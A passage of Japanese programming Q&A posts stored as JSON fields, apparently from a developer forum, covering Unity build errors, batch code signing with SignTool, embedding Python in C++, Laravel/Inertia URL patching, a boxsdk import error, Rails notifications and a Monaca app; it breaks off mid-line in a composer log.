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"body": "できていることの\n\n> ・1つのチャンネルからスタンプ数を計測してスプレットシートに反映させる処理 \n>\n> ・日時、投稿者(アドレス)、投稿者からメンションをつけられた人(アドレス)、リアクションしたユーザー数(Slackスタンプを押した人)、リアクションしたユーザーの名前(アドレス)の取得&スプレットシートへ反映させる\n\nこれらの処理のコードでdataListを作成しているのではないのですか。\n\nteratailの質問の方にもコメントしましたが、 \n他のソースコードを伏字にするなどしてdataListの作成過程(データ構成)を \nご提示いただかないと \nご希望の動作になるように修正案の提案ができません。",
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"body": "### 解決したいこと\n\nC#とUnityで簡単なゲームを作っています。 \n実行すると次のようなエラーが出てしまいました。 \nどうしたらいいでしょうか?\n\n### 発生している問題・エラー\n\n```\n\n (10,7): error CS0246: The type or namespace name `UnityEngine' \n could not be found. Are you missing an assembly reference?\n \n```\n\n### 該当するソースコード\n\n```\n\n using System.Collections;\n using System.Collections.Generic;\n using UnityEngine;\n \n public class NewBehaviourScript : MonoBehaviour\n {\n // Start is called before the first frame update\n void Start()\n {\n \n }\n \n // Update is called once per frame\n void Update()\n {\n \n }\n }\n \n```",
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"title": "UnityとC#でのゲーム作り",
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"body": "Unity の Console にエラーが出力されているのでなく、Visual Studio にのみエラーが表示されていると推測しています。 \nそうであれば、[Visual Studio を Unity\nから使うように統合されていない](https://www.youtube.com/watch?v=g25bfk0ltCM&t=324s&pp=ygUadW5pdHkgdmlzdWFsIHN0dWRpbyDpgKPmkLo%3D)からでしょう。",
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"body": "Windowsの標準コマンドであるSignToolをPythonから実行したいです。 \n証明書を購入する必要があるコマンドなので、証明書を購入されていない環境では再現をするのは難しいかもしれませんが、私の環境では以下のようなコマンドをコマンドプロンプトに打ち込むとSignToolが動作します。\n\n```\n\n set PATH=\"C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.19041.0\\x64\";%PATH%\n \n signtool sign /debug /n \"Test\" /t http://time.certum.pl/ /fd sha256 /v \"C:/Users/taichi/test.exe\"\n \n```\n\n上記の例では、\"C:/Users/taichi/test.exe\"のみにSignToolを実行しています。\n\n実際に使用する際には、ディレクトリの階層内にある全てのファイルに一括でSignToolを実行したいと思い、Pythonから実行できないかと考えており、質問をさせて頂きました。\n\nバッチファイルには詳しくないですが、バッチファイルで同様なことが出来るのであればそれでも構いません。\n\nよろしくお願いいたします。",
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"title": "SignToolをPythonまたはバッチファイルから呼び出す方法",
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"body": "### pythonから呼び出す方法\n\n`os.environ`で環境変数を一時的に変更してから`glob.glob`でファイルを列挙し、`subprocess.run`で任意のコマンドを実行します。 \n※この環境変数変更は、このpythonコード実行中のみ反映されます。 \nサンプルコードでは`subprocess.run`コマンドで`signtool verify`を実行していますので、必要なコマンドに読み替えてください。\n\n**サンプルコード**\n\n```\n\n import os\n import glob\n import subprocess\n \n os.environ['PATH'] = fr\"C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.19041.0\\x64;{os.environ['PATH']}\" \n \n # testフォルダの全ファイル(*)を列挙して処理する例\n for f in glob.glob(\"test/*\"):\n if os.path.isdir(f):\n continue\n out_str = subprocess.run([\"signtool\", \"verify\", \"/debug\", f], capture_output=True, text=True).stdout\n print(out_str)\n \n```\n\n**参考資料**\n\n * [os](https://docs.python.org/ja/3/library/os.html#os.environ)\n * [glob](https://docs.python.org/ja/3/library/glob.html?highlight=glob#glob.glob)\n * [subprocess](https://docs.python.org/ja/3/library/subprocess.html?highlight=process#subprocess.run)\n * [PythonでWindowsのPATHへ一時的に追加/書き換えを行う](https://qiita.com/MysteriousMonkey/items/5500dbc1fb77c7a6b6d2#%E3%82%B5%E3%82%AF%E3%83%83%E3%81%A8%E8%BF%BD%E5%8A%A0%E3%81%99%E3%82%8B)\n * [pythonのsubprocessで標準出力を文字列として受け取る](https://qiita.com/yutake27/items/033155608d64eac0adc2)\n\n### バッチファイルから呼び出す方法\n\n`for %%f in ({対象パス}) do` で、ワイルドカードを使って対象パスに合致するファイルを列挙しています。 \nこちらも`signtool verify`を必要なコマンドに読み替えてください。\n\n**サンプルコード**\n\n```\n\n set PATH=\"C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.19041.0\\x64\";%PATH%\n \n rem testフォルダの全ファイル(*)を列挙して処理する例\n for %%f in (.\\test\\*) do (\n signtool verify /debug %%f\n )\n \n```\n\n**参考資料**\n\n * [バッチファイルで繰り返し処理を使う(FOR)](https://www.javadrive.jp/command/bat/index9.html#section4)",
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"body": "## 概要\n\nPython.hを使ってC++からPythonスクリプトを実行したいのですが、下記のエラーが発生してしまいます\n\n```\n\n Fatal Python error: initfsencoding: unable to load the file system codec\n ModuleNotFoundError: No module named 'encodings'\n \n Current thread 0x00007c54 (most recent call first):\n \n```\n\nこれを解消するにはどうすればよいでしょうか?\n\n## 環境\n\nPython: 3.7.5 \nVsiual Studio 2019 \nWindows10\n\n### Python環境の詳細\n\nvenvを使った仮想環境を作っており、この仮想環境で実行したPythonでは正しくスクリプトを実行できることを確認しています \nスクリプトを実行しているPCには他のバージョンのPythonも混在しており、仮想環境も複数作っております\n\n### 作成したコード\n\nC++\n\n```\n\n #include<stdio.h>\n #include<Python.h>\n #include<string>\n #include<iostream>\n \n using namespace std;\n int main() {\n int result = 0;\n wchar_t* program = Py_DecodeLocale(\"venv-myenv\\\\Scripts\\\\python.exe\", NULL);\n Py_SetProgramName(program);\n Py_Initialize();\n \n return 0;\n \n }\n \n```\n\nPython\n\n```\n\n a = [1, 2, 3, 4, 5]\n print(sum(a))\n \n```\n\nC++コードはPy_Initialize()で発生しております\n\n### 試したこと\n\n * std::systemを使ったスクリプト実行 \n-> 標準モジュールを使ったスクリプトの実行はできましたが、外部モジュール(torchなど)を使ったスクリプトが実行できず、Python.hを使った方法に方針転換しました\n * PYTHONPATHの設定 \n-> 環境変数にvenv-myenv\\Scripts\\python.exeを絶対パスで指定してPCを再起動しましたが、変化ありませんでした",
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"title": "PythonスクリプトをC++から実行するときのエラーを解消したい",
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{
"body": "質問を読み返してみたのですが、最終的にやりたいことは、「Pythonの仮想環境にインストールした外部モジュール(torchなど)を使ったPythonスクリプトを、C++で実行したい」ということでしょうか?\n\nであれば、\n\n> std::systemを使ったスクリプト実行 \n> ->\n> 標準モジュールを使ったスクリプトの実行はできましたが、外部モジュール(torchなど)を使ったスクリプトが実行できず、Python.hを使った方法に方針転換しました\n\nこれを動くようにする、というのが一番無難な解決策のような気がします。\n\n* * *\n\nそれでも、PythonのAPIを使った方法を取りたいというのであれば、という話をしますが、ただ以下の話は少しは試したこともありますが、同様の環境は作れないので、それなりに憶測は入っています、とあらかじめ断っておきます。\n\n* * *\n\n「仮想環境が入っている環境で動かす」ということが前提であれば、「 **embeddable版を使用せず** 」、「\n**`Py_SetProgramName`を使用せず**」、単に仮想環境内の「`python.exe`」があるディレクトリ(おそらく`Scripts`ディレクトリだと思いますが)に、ビルドした実行ファイルを置くだけで動くと思います。\n\nそれ以外のディレクトリに実行ファイルを置くと、外部モジュールが参照できないはずです。 \nただし、環境変数「`PYTHONPATH`」やスクリプト内で「`sys.path`」を、外部モジュールがある仮想環境内の「`Lib/site-\npackages`」ディレクトリを見るように設定すれば、参照できるかもしれません。\n\nもしくは、`Py_SetProgramName`で仮想環境の`python.exe`を指定すればいいはずなのですが、ちょうど「Windows/Python3.7」の環境で試してみたのですが、エラーは出ないものの、仮想環境のライブラリを見ることができない(`sys.path`が適切に設定されない)ということがありました。 \n(他のOS/バージョンであれば、動くことは確認できたのですが) \n場合によっては、細かいConfig設定をしなければならないかもしれませんが、先の方法で動くのであればそちらで動かしたほうが手っ取り早いかと思います。\n\n<https://docs.python.org/ja/3/c-api/init_config.html#initialization-with-\npyconfig>\n\n* * *\n\nembeddable版というのは、仮想環境や、そもそもベース環境すらない状況で動かすためのものです。\n\nembeddable版の内容と実行ファイルを **全て同じディレクトリに置き** 、使用します。 \n(コメントを見る限り、全てを同じディレクトリに置いていないように思えます) \nただし、当然この中に外部モジュールは含まれていないので、なんとかしなければなりません。 \nその説明をすると長くなるので、「仮想環境が入っていることが前提」であれば、まずは先述した方法を試してみた方がいいでしょう。",
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"body": "google スプレッドシートで ある列に保護はかけたいのですが、保護はかかっていつつも列幅だけ変更できるようにしたいです。 \n可能でしょうか? \n可能であればどのようにすればよいでしょうか? \nよろしくお願いします。",
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"title": "google スプレッドシートで、列に保護はかけるが、列幅だけ変更できるようにしたい。",
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"body": "訂正します。ヘルプの内容だとできないみたいです。\n\n以下、[ヘルプの内容](https://support.google.com/docs/answer/1218656)です。\n\n> 重要: シートを保護すると、以下の操作ができなくなります。\n>\n> ・セルの書式設定をロックし、同時にユーザーが入力値を編集できるようにする ・パスワードでデータを保護する\n>\n> 範囲やシートを保護できるユーザー\n>\n> スプレッドシートのオーナーである場合: 範囲やシートに対して編集権限を設定できます。 スプレッドシートの編集権限がある場合: \n> 範囲やシートに対して編集権限を設定できます。ただし、オーナーの編集権限を削除することはできません。 \n> スプレッドシートの閲覧権限かコメント書き込み権限がある場合: 変更することはできません。",
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"body": "次のような環境で作業をしています。 \nlaravel10 + vue3 + inertia + vite + typescript + tailwindcss\n\nxserverを利用しています。各状況は次のとおりです。\n\n> Laravelフォルダは ~/source/my_project/ \n> 公開フォルダは ~/example.com/public/ \n> 公開URLは https://example.com/\n\n/soruce/my_project/public と ~/example.com/public/ にシンボリックを貼りました。\n\n無事に <https://example.com/> にて表示されるようになりました。 \nすべてのリンクの動作も問題が有りません。\n\n### フォルダを1つ下げると問題発生\n\n運用において、1つフォルダを下げてLaravelを表示しようとしました。 \n新たな状況は次のとおりになります。toolというフォルダ配下にしました。\n\n> Laravelフォルダは ~/source/my_project/ ※変更なし \n> 公開フォルドは ~/example.com/public/tool/ \n> 公開URLは https://example.com/tool/\n\nシンボリックリンクも ~/example.com/public/tool/ から貼り直しています。 \n.env の APP_URL も <https://example.com/tool> に変更\n\n念のためキャッシュもすべて削除\n\n```\n\n php artisan config:clear\n php artisan cache:clear\n php artisan route:clear\n \n```\n\n実際にアクセスしてみると、次のような挙動が発生します。 \n<https://example.com/tool/> → https://example.com/tool/tool とURL表示 \nコンテンツ部分は問題なく表示されています。URL部分だけ何故か tool が二重になります。\n\n内部のリンクはすべて <https://example.com/tool/xxxxxx> のようになっています。 \nクリックするとちゃんと表示されます。 \nしかし、URL部分は <https://example.com/tool/tool/xxxxxx> になります。\n\nURLの表示だけがオカシイ状況です。\n\nそのため、https://example.com/tool/tool に直接アクセスすると 404 エラー \nリンクから移動後、https://example.com/tool/tool/xxxxxx でリロードすると 404 エラー\n\nという不思議な状況にあります。\n\n.htaccess は全くいじっていません。 \n最初の <https://example.com/.htaccess> を削除しましたが状況変わらずです。\n\nこのような状況が発生する原因は何が考えられるでしょうか? \nよろしくお願いします。",
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"title": "LaravelサイトのURL変更で、なぜかフォルダ名が二重になってしまう",
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"body": "こちらで同じ現象と、その解決方法がありました。\n\n[root directory is displayed twice in URL on load and\nreload](https://stackoverflow.com/questions/71943581/root-directory-is-\ndisplayed-twice-in-url-on-load-and-reload)\n\nvendor/inertiajs/src/Response.php の toResponse() メソッドを書き換えると… \nもっとも、venderフォルダ内のファイルの変更は上書きリスクがあるので、悩ましい。",
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"body": "パッチを当てることで対応しました。\n\n## composer 管理ファイル\n\n 1. composer-patches をインストール \n`composer require cweagans/composer-patches`\n\n 2. 問い合わせには y\n``` Do you trust \"cweagans/composer-patches\" to execute code and wish\nto enable it now?\n\n (writes \"allow-plugins\" to composer.json) [y,n,d,?]\n \n cweagans/composer-patches」のコード実行を信頼し、今すぐ有効化したいですか?\n (composer.jsonにallow-pluginsを書き込む) [y,n,d,?]。\n \n```\n\n 3. rootに`patches_composer` をフォルダを作成する ※package.json用の patchesフォルダと分ける\n\n 4. 対象ファイルのバックアップを作成する cp コピー元 コピー先\n\n`cp vendor/inertiajs/inertia-laravel/src/Response.php\nvendor/inertiajs/inertia-laravel/src/Response.php.orig`\n\n 5. 対象ファイルを編集する\n\n 6. 動作確認\n\n 7. 差分ファイルを作る\n\n`diff -u 変更前ファイル名 変更後ファイル名 patches_composer/差分記録ファイル名`\n\n`diff -u vendor/inertiajs/inertia-laravel/src/Response.php.orig\nvendor/inertiajs/inertia-laravel/src/Response.php > patches_composer/inertia-\nlaravel-response.patch`\n\n 8. パッチファイルの修正\n\npatches_composer/inertia-laravel-response.patch\n\n※composer.jsonでライブラリを指定するが、その「フォルダ」から相対指定\n\n``` --- vendor/inertiajs/inertia-laravel/src/Response.php.orig\n2023-05-26 07:43:20.246192609 +0900\n\n +++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 07:41:02.059394179 +0900\n ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 先頭行がパッチ対象ファイル\n --- src/Response.php 2023-05-26 07:43:20.246192609 +0900\n +++ src/Response.php 2023-05-26 07:41:02.059394179 +0900\n @@ -99,7 +99,7 @@\n $page = [\n 'component' => $this->component,\n 'props' => $props,\n - 'url' => $request->getBaseUrl().$request->getRequestUri(),\n + 'url' => $request->getRequestUri(),\n 'version' => $this->version,\n ];\n \n```\n\n 9. **`composer.json`** ファイルにパッチの情報を追加\n``` {\n\n \"require\": {\n \"php\": \"^7.3\",\n // 他のパッケージ\n },\n \"extra\": {\n \"patches\": {\n \"inertiajs/inertia-laravel\": {\n \"修正の説明\": \"patches_composer/inertia-laravel-response.patch\"\n }\n }\n },\n // その他のセクション\n }\n \n```\n\ncomposer update -vvv でデバッグモードになる\n\ncomposer install でパッチの実行 ※updateでは実行されない\n\n> ⚠️ 注:「can't find file to patch at input line 3」というメッセージは正常であり、パッチのエラーではない \n> <https://maxcluster.de/en/knowledge-base/managedcenter/fasteristableexists>\n\n## package.json 管理ファイル\n\n 1. patch-packageをインストール\n\n`npm install --save-dev patch-package`\n\n 2. プログラムの修正 対象ファイルを修正する\n\n 3. パッチファイルを作成\n\n`npx patch-package @inertiajs/vue3`\n\n 4. **`patches`** ディレクトリに **`@inertiajs+vue3+1.0.0.patch`** というファイルが作られる\n\n 5. `package.json` ファイルを開き、`scripts` セクションに `postinstall` スクリプトを追加\n``` \"scripts\": {\n\n \"postinstall\": \"patch-package\"\n }\n \n```\n\n 6. 以上で、`npm install, npm update` が実行されてアップデートされたとしても、パッチの状態に更に上書きをしてくれる\n\n 7. 公式ファイルが更新されてパッチが不要になったら、 \n**`patches`** ディレクトリの **`@inertiajs+vue3+1.0.0.patch`** を削除すればOK",
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"body": "以下の極めてシンプルなコードを実行したところ,\n\n```\n\n from boxsdk import JWTAuth\n \n```\n\nurllib3関連の以下のエラーが出てしまいました。\n\n```\n\n Traceback (most recent call last):\n File \"C:\\user\\requests_toolbelt\\_compat.py\", line 48, in <module>\n from requests.packages.urllib3.contrib import appengine as gaecontrib\n ImportError: cannot import name 'appengine' from 'requests.packages.urllib3.contrib' (C:\\user\\urllib3\\contrib\\__init__.py)\n \n During handling of the above exception, another exception occurred:\n \n Traceback (most recent call last):\n File \"<stdin>\", line 1, in <module>\n File \"C:\\user\\boxsdk\\__init__.py\", line 1, in <module>\n from .auth import JWTAuth, OAuth2, CCGAuth\n File \"C:\\user\\boxsdk\\auth\\__init__.py\", line 1, in <module>\n from .cooperatively_managed_oauth2 import CooperativelyManagedOAuth2\n File \"C:\\user\\boxsdk\\auth\\cooperatively_managed_oauth2.py\", line 3, in <module>\n from .oauth2 import OAuth2\n File \"C:\\user\\boxsdk\\auth\\oauth2.py\", line 12, in <module>\n from ..session.session import Session\n File \"C:\\user\\boxsdk\\session\\session.py\", line 17, in <module>\n from ..util.multipart_stream import MultipartStream\n File \"C:\\user\\boxsdk\\util\\multipart_stream.py\", line 3, in <module>\n from requests_toolbelt.multipart.encoder import MultipartEncoder\n File \"C:\\user\\requests_toolbelt\\__init__.py\", line 12, in <module>\n from .adapters import SSLAdapter, SourceAddressAdapter\n File \"C:\\user\\requests_toolbelt\\adapters\\__init__.py\", line 12, in <module>\n from .ssl import SSLAdapter\n File \"C:\\user\\requests_toolbelt\\adapters\\ssl.py\", line 16, in <module>\n from .._compat import poolmanager\n File \"C:\\user\\requests_toolbelt\\_compat.py\", line 50, in <module>\n from urllib3.contrib import appengine as gaecontrib\n ImportError: cannot import name 'appengine' from 'urllib3.contrib' (C:\\user\\urllib3\\contrib\\__init__.py)\n \n```\n\n同様の案件が近日中に複数報告されており,試せそうな策は試したのですが解決に至らず,打つ手がない状態です。 \nご知見をお持ちの方がいらしたらご助力を願えないでしょうか。どうぞよろしくお願いいたします。\n\n**参考URL** \n<https://stackoverflow.com/questions/76175487/sudden-importerror-cannot-\nimport-name-appengine-from-requests-packages-urlli> \n<https://github.com/apache/arrow/issues/35410> \n<https://community.jeedom.com/t/cannot-import-name-appengine-from-\nurllib3-contrib/106921>\n\n**`pip freeze` の結果** (Python 3.11)\n\n```\n\n appengine-python-standard==1.1.1\n attrs==23.1.0\n boxsdk==3.7.1\n cachetools==5.3.0\n certifi==2023.5.7\n cffi==1.15.1\n charset-normalizer==3.1.0\n cryptography==40.0.2\n frozendict==2.3.8\n google-auth==2.18.1\n idna==3.4\n mock==5.0.2\n Pillow==9.5.0\n protobuf==4.23.1\n pyasn1==0.5.0\n pyasn1-modules==0.3.0\n pycparser==2.21\n PyJWT==2.7.0\n python-dateutil==2.8.2\n pytz==2023.3\n requests==2.31.0\n requests-toolbelt==0.10.1\n rsa==4.9\n ruamel.yaml==0.17.26\n ruamel.yaml.clib==0.2.7\n six==1.16.0\n urllib3==1.26.15\n \n```",
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"title": "boxsdkのJWTAuthをインポートしようとするとcannot import name 'appengine' from 'urllib3.contrib'のエラーが出る",
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"body": "作成した掲載を他者に提案機能として送り付ける機能を付けたのですが、通知機能で、提案された際に通知が来るようにしたいです。 \nそこで下記のサイトのコメントの通知機能を参考に提案された人に通知がくるようなコードを書いているのですが、エラーが発生しました。\n\n[Railsで通知機能を誰でも実装できるように解説する](https://qiita.com/nekojoker/items/80448944ec9aaae48d0a) \n[Railsで通知機能の実装](https://qiita.com/bty__/items/2db1dd4fcd7945b980f7) \n[RailsでDMが届いた際の通知機能を実装する](https://qiita.com/Shuhei_Nakada/items/430431356cdfccb1abcf) \n[![画像の説明をここに入力](https://i.stack.imgur.com/75Ekt.png)](https://i.stack.imgur.com/75Ekt.png)\n\nエラーは恐らく通知を通知テーブル(notifications)に保存するコードの箇所(plan.rb)でエラーが起きたのだと思います。 \n何処がおかしいのか拝見して頂きたいです。\n\nエラー箇所 \nplan.rbの通知機能箇所\n\n```\n\n def create_notification_suggest!(current_user, suggest_id)\n #同じ掲載に提案しているユーザーに通知を送る。(current_userと投稿ユーザーのぞく)\n temp_ids = Suggest.where(plan_id: id).where.not(\"user_id=? or user_id=?\", current_user.id,user_id).select(:user_id).distinct\n #取得したユーザー達へ通知を作成。(user_idのみ繰り返し取得)\n temp_ids.each do |temp_id|\n save_notification_suggest!(current_user, suggest_id, temp_id['user_id'])\n end\n #掲載者へ通知を作成\n save_notification_suggest!(current_user, suggest_id, user_id)\n end\n \n def save_notification_suggest!(current_user, suggest_id, visited_id)\n notification = current_user.active_notifications.new(\n plan_id: id,\n suggest_id: comment_id,\n visited_id: visited_id,\n action: 'suggest'\n )\n if notification.visitor_id == notification.visited_id\n notification.checked = true\n end\n notification.save if notification.valid?\n end\n \n```\n\n表示されている \nsuggest_controller.rbの通知機能記述箇所\n\n```\n\n def create\n @suggest = current_user.suggests.build(suggest_params)\n if @suggest.save\n flash[:success] = '提案を送りました'\n # 以下通知機能の箇所\n @[email protected]\n @plan.create_notification_suggest!(current_user, @suggest.id)\n # 以上通知機能の箇所\n redirect_to root_url\n else\n @suggests = current_user.suggests.order(id: :desc)\n flash[:danger] = '提案を送れませんでした'\n redirect_to request.referer\n end\n end\n \n```\n\nnotifications_helper\n\n```\n\n module NotificationsHelper\n def notification_form(notification)\n #通知を送ってきたユーザーを取得\n @visitor = notification.visitor\n #コメントの内容を通知に表示する\n @suggest = nil\n @visitor_suggest = notification.suggest_id\n case notification.action\n when 'suggest' then\n #コメントの内容と投稿のタイトルを取得 \n @suggest = Suggest.find_by(id: @visitor_suggest)\n @suggest_message [email protected]\n @suggest_title [email protected]\n tag.a(@visitor.name, href: user_path(@visitor)) + 'が' + tag.a(\"#{@suggest_title}\", href: plan_path(notification.plan_id)) + 'を提案しました'\n end\n end\n end\n \n```\n\n!追記 \nsuggest.rbにbelongs_to\n:planを追記するのを忘れていましたので、追記したことにより、suggest_contorollerの@[email protected]_idではなく、@[email protected]で取得できるようになりました。",
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"title": "通知機能のエラーについて",
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{
"body": "Suggestに関連したPlanを取得したいのであれば`@[email protected]`とすべきですが、SuggestとPlanの[関連付け](https://railsguides.jp/association_basics.html)がちゃんとできていなかったため、メソッドひとつでPlanを取得できる状態になっていなかったと言うことです。次のいずれかを設定すると良いでしょう。\n\n * Suggestクラスやマイグレーションで`belongs_to`を使い、関連付けを行って、`@[email protected]`とする。\n\n * 関連付けができない事情があれば、`@plan=Plan.find(@suggest.plan_id)`のように取得したPlanのIDでPlanを取得する。\n\n機能の実装よりも、モデル同士の関連付けがどうなるのを整理してから、実装していくといいかと思います。ひとまず、これで「この質問での問題」は解決できるかと思います。その後に別のエラーが起きたら、それは別の問題になります。",
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"body": "Monacaでスマホアプリを作っています。 \n初めにボタンをクリックしたら登録するコードを書き、そちらはうまく動きました。 \nしかし、次に作ったコードが動きません。 \nどうすればいいか教えてほしいです。 \nよろしくお願いします。\n\n[作りたい動き] \n1.絵文字を入力 \n2.ボタンをクリック \n3.絵文字をunicodeにしてニフティクラウドに登録\n\n[実際に起きてしまう動き] \nエラーが発生する。 \nUncaught TypeError: Cannot set properties of undefined (setting\n'/classes/listEmoji')\n\n[試してみたこと] \n・コードの再確認 \n→おかしなところはなし。\n\n・ニフティクラウドのテーブルの作り直し \n→同じエラーが発生。\n\n・コードを最低限にしてみる。 \n→同上\n\n・もう一度ちゃんと動く方のコードを実行してみる。 \n→エラーなく動いた。\n\n【index.html】\n\n```\n\n <!DOCTYPE HTML>\n <html>\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, viewport-fit=cover\">\n <meta http-equiv=\"Content-Security-Policy\" content=\"default-src * data: gap: https://ssl.gstatic.com; style-src * 'unsafe-inline'; script-src * 'unsafe-inline' 'unsafe-eval'\">\n <script src=\"js/ncmb.min.js\"></script>\n <script src=\"components/loader.js\"></script>\n <script src=\"components/jquery/dist/jquery.min.js\"></script>\n <script src=\"lib/onsenui/js/onsenui.min.js\"></script>\n <script src=\"js/index.js\"></script>\n \n \n <link rel=\"stylesheet\" href=\"components/loader.css\">\n <link rel=\"stylesheet\" href=\"lib/onsenui/css/onsenui.css\">\n <link rel=\"stylesheet\" href=\"lib/onsenui/css/onsen-css-components.css\">\n <link rel=\"stylesheet\" href=\"css/style.css\">\n \n <script>\n window.fn = {};\n window.fn.open = function() {\n var menu = document.getElementById('menu');\n menu.open();\n };\n \n window.fn.load = function(page) {\n var content = document.getElementById('content');\n var menu = document.getElementById('menu');\n content\n .load(page)\n .then(menu.close.bind(menu));\n };\n \n if (ons.platform.isIPhoneX()) {\n document.documentElement.setAttribute('onsflag-iphonex-portrait', '');\n document.documentElement.setAttribute('onsflag-iphonex-landscape', '');\n }\n \n </script>\n </head>\n <body>\n <ons-splitter>\n <ons-splitter-side id=\"menu\" side=\"left\" width=\"220px\" collapse swipeable>\n <ons-page>\n <ons-list>\n <!-- <ons-list-item onclick=\"fn.load('home.html')\" tappable> -->\n <ons-list-item onclick=\"onsenClick('home.html')\" tappable>\n Home\n </ons-list-item>\n <!-- <ons-list-item onclick=\"fn.load('settings.html')\" tappable> -->\n <ons-list-item onclick=\"onsenClick('settings.html')\" tappable>\n 勤務形態登録 \n </ons-list-item>\n <!-- <ons-list-item onclick=\"fn.load('about.html')\" tappable> -->\n <ons-list-item onclick=\"onsenClick('about.html')\" tappable>\n About\n </ons-list-item>\n </ons-list>\n </ons-page>\n </ons-splitter-side>\n <ons-splitter-content id=\"content\" page=\"home.html\"></ons-splitter-content>\n </ons-splitter>\n <template id=\"home.html\">\n <ons-page>\n <ons-toolbar>\n <div class=\"left\">\n <ons-toolbar-button onclick=\"fn.open()\">\n <ons-icon icon=\"ion-ios-menu, material:md-menu\"></ons-icon>\n </ons-toolbar-button>\n </div>\n <div class=\"center\">\n Main\n </div>\n </ons-toolbar> \n <p id=\"formEmoji\">\n <p>【絵文字登録フォーム】</p>\n <label for=\"status0\">仕事:</label><br>\n <input type=\"text\" class=\"statusJob\" id=\"status0\"><br>\n <label for=\"status1\">休み:</label><br>\n <input type=\"text\" class=\"statusJob\" id=\"status1\"><br>\n <label for=\"status2\">テレワーク:</label><br>\n <input type=\"text\" class=\"statusJob\" id=\"status2\"><br>\n <label for=\"statusother\">その他:</label>\n <input type=\"text\" id=\"statusother\"><br>\n <input type=\"text\" class=\"statusJob\" id=\"status3\"><br>\n <p><button id=\"emojiTouroku\" type=\"button\" onclick=\"test()\">登録</button></p>\n </p>\n </ons-page>\n </template>\n <template id=\"settings.html\">\n <ons-page>\n <!-- ここは二ページ目 --> \n </ons-page>\n </template>\n \n <template id=\"about.html\">\n <ons-page>\n <ons-toolbar>\n <div class=\"left\">\n <ons-toolbar-button onclick=\"fn.open()\">\n <ons-icon icon=\"ion-ios-menu, material:md-menu\"></ons-icon>\n </ons-toolbar-button>\n </div>\n <div class=\"center\">\n About\n </div>\n </ons-toolbar>\n </ons-page>\n </template>\n </body>\n </html>\n \n```\n\n【index.js】\n\n```\n\n var hiduke = new Date();\n var next_hiduke = new Date();\n var txt_calendar = \"\";\n var y = new Date().getFullYear();\n var m = new Date().getMonth();\n var sts = true;\n var stsToday = false;\n var toggleButton = document.querySelector(\".toggle-button-list\");\n var week_text = (\"日\",\"月\",\"火\",\"水\",\"木\",\"金\",\"土\");\n var ncmb = new NCMB(\"api_key\",\"cli_key\");\n \n \n document.addEventListener(\"init\", function(){\n /*\n ここにうまく動く登録コードなどあり\n */\n });\n \n function test() {\n var listEmoji = new ncmb.DataStore('listEmoji');\n console.log(\"Start!\");\n \n console.log('データが正常に保存されました。');\n }\n \n```\n\n【ニフティクラウドの画面】 \n赤で囲まれているのが対象テーブルです。 \n[![ここに説明](https://i.stack.imgur.com/DiUY4.png)](https://i.stack.imgur.com/DiUY4.png)",
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"body": "vendorファイルの一部に不具合があり、パッチを当てることにしました。 \nしかし、実行してみるとエラーが発生してしまい、パッチを当てることができません。 \n`Could not apply patch! Skipping. The error was: Cannot apply patch`\n\n次のような手順で行いました。\n\n 1. composer-patchesをインストール \n`composer require cweagans/composer-patches`\n\n 2. パッチファイルの保存先フォルダ `patches_composer` を作成\n\n 3. 編集対象ファイル(Response.php)を .orig としてコピー \n`cp vendor/inertiajs/inertia-laravel/src/Response.php\nvendor/inertiajs/inertia-laravel/src/Response.php.orig`\n\n 4. 編集対象ファイル(Response.php)を編集(修正)\n\n 5. 差分ファイルの作成 \n`diff -u vendor/inertiajs/inertia-laravel/src/Response.php.orig\nvendor/inertiajs/inertia-laravel/src/Response.php > patches_composer/inertia-\nlaravel-response.patch` \n編集対象ファイル(Response.php) とオリジナル(Response.php.orig)を比較して、 \n差分ファイル(patches_composer/inertia-laravel-response.patch)を出力\n\n 6. composer.json ファイルにパッチの情報を追加\n\n```\n\n \"extra\": {\n \"patches\": {\n \"inertiajs/inertia-laravel\": {\n \"twice url\": \"patches_composer/inertia-laravel-response.patch\"\n }\n }\n },\n \n```\n\nちなみに差分ファイルの中身は次のようになっています \n※先頭行の Response.php.orig を Response.php に変更\n\n```\n\n --- vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 02:25:36.821932134 +0900\n +++ vendor/inertiajs/inertia-laravel/src/Response.php 2023-05-26 02:25:47.802044249 +0900\n @@ -91,7 +91,7 @@\n $props = ($only && $request->header('X-Inertia-Partial-Component') === $this->component)\n ? Arr::only($this->props, $only)\n : array_filter($this->props, static function ($prop) {\n - return ! ($prop instanceof LazyProp);\n + return !($prop instanceof LazyProp);\n });\n \n $props = $this->resolvePropertyInstances($props, $request);\n @@ -99,7 +99,7 @@\n $page = [\n 'component' => $this->component,\n 'props' => $props,\n - 'url' => $request->getBaseUrl().$request->getRequestUri(),\n + 'url' => $request->getRequestUri(),\n 'version' => $this->version,\n ];\n \n \n \n```\n\n### エラー\n\nしかしながら、composer install, composer update を実行すると次のようなエラーが発生します。\n\n```\n\n - Applying patches for inertiajs/inertia-laravel\n patches_composer/inertia-laravel-response.patch (twice url)\n Could not apply patch! Skipping. The error was: Cannot apply patch patches_composer/inertia-laravel-response.patch\n \n```\n\nエラーの詳細がわからないため、どのように対応すればよいのかがわかりません。 \n上記の手順の中で、誤った部分があるでしょうか?\n\nよろしくお願いします。\n\n【追記】 \nパッチファイルの先頭が「更新されるファイル」のようなので下記のように変更しました。 \n`--- vendor/inertiajs/inertia-laravel/src/Rsponse.php`\n\n`composer install -vvv` で処理の詳細を出力。\n\n```\n\n Dependency resolution completed in 0.000 seconds\n Package operations: 1 install, 0 updates, 0 removals\n Installs: inertiajs/inertia-laravel:v0.6.9\n Reading /home/my_name/.cache/composer/files/inertiajs/inertia-laravel/09ba8e3a83de8dc1b2da392e03f79f9e6a30867a.zip from cache\n - Loading inertiajs/inertia-laravel (v0.6.9) from cache\n > pre-package-install: cweagans\\Composer\\Patches->gatherPatches\n Gathering patches for root package.\n Gathering patches for dependencies. This might take a minute.\n Found 1 patches for inertiajs/inertia-laravel.\n - Installing inertiajs/inertia-laravel (v0.6.9): Extracting archive\n Executing async command (CWD): '/usr/bin/unzip' -qq 